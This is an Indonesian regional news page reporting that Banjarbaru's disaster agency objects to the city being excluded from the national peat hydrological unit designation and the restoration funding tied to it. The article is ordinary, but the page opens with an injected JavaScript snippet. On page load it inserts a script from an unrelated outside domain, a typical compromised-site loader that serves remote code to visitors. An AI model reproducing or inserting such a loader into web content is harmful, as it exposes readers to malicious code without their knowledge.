(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BPBD Banjarbaru Kecewa Tidak Masuk dalam Kesatuan Hidrologis Gambut


BANJARMASIN, Badan Penanggulangan Bencana Daerah Kota Banjarbaru pada pertemuan beberapa Dinas Berbasis Lingkungan Hidup terlihat kecewa atas sikap Kementerian Lingkungan Hidup dan Kehutanan yang tidak memasukan Kota Banjarbaru dalam Kesatuan Hidrologis Gambut. Hal tersebut ada dalam Keputusan yang termuat dalam Surat Keputusan Kementerian Lingkungan Hidup dan Kehutanan Republik Indonesia Nomor: SK.130/MENLHK/SETJEN/PKL.0/2/2017 tentang Penetapan Peta Fungsi Ekosistem Gambut Nasional.

Kepala BPBD Kota Banjarbaru Johar Arifin mengatakan kecewa dengan tidak masuknya Banjarbaru sebagai Kesatuan Hidrologis Gambut. Padahal Banjarbaru sempat menjadi fokus pemadaman api kebakaran lahan yang meluas pada 2015 silam. “Padahal pada tahun 2015, Karuthala terjadi di kota Banjarbaru,” katanya.

Ia menambahkan, bahwa kebakaran hutan dan lahan di Kalimantan Selatan tidak hanya terjadi di beberapa kawasan rawa dan gambut. Melainkan pekarangan dan kebun karena menghasilkan kabut asap. “Harusnya yang ditanggulangi adalah asapnya, bukan fokus Kesatuan Hidrologis Gambut (KHG),” ucapnya.

Ia berasumsi Kota Banjarbaru seharusnya menjadi prioritas Kesatuan Hidrologis Gambut. Johar menuturkan, Pemkot Banjarbaru selama ini menangani persoalan asap tersebut menggunakan dana APBD. “Kita masih mengusahakan agar kota Banjarbaru juga bisa masuk,” ungkapnya.

Dipaparkannya bahwa Banjarbaru telah membuat sekitar 50 sumur bor atas bantuan dana lembaga donor atau bantuan luar negeri. Kebakaran lahan di Kota Banjarbaru kerap berdampak negatif terhadap lalu lintas penerbangan di Bandara Syamsudin Noor.

Sementara itu, Ketua Tim Restorasi Gambut Daerah Kalimantan Selatan, Saut Nathan Samosir terkejut mendengar Banjarbaru tidak masuk hitungan KHG. Padahal, kata dia, kebakaran lahan hebat sempat melanda Kota Banjarbaru yang memicu lahirnya Peraturan Presiden (Perpres) Nomor 1 Tahun 2016 tentang Badan Restorasi Gambut.

“Malah Banjarbaru yang tidak termasuk dalam SK Menteri Lingkungan Hidup dan Kehutanan tersebut,” ucap Saut.

Lantaran bukan KHG, kata dia, Pemkot Banjarbaru mesti memakai ABPD dan lembaga donor untuk merestorasi lahan gambut, bukan dana APBN.(ammar)

Reporter:Ammar
Editor: Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

3 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

16 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

16 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

17 jam ago

This website uses cookies.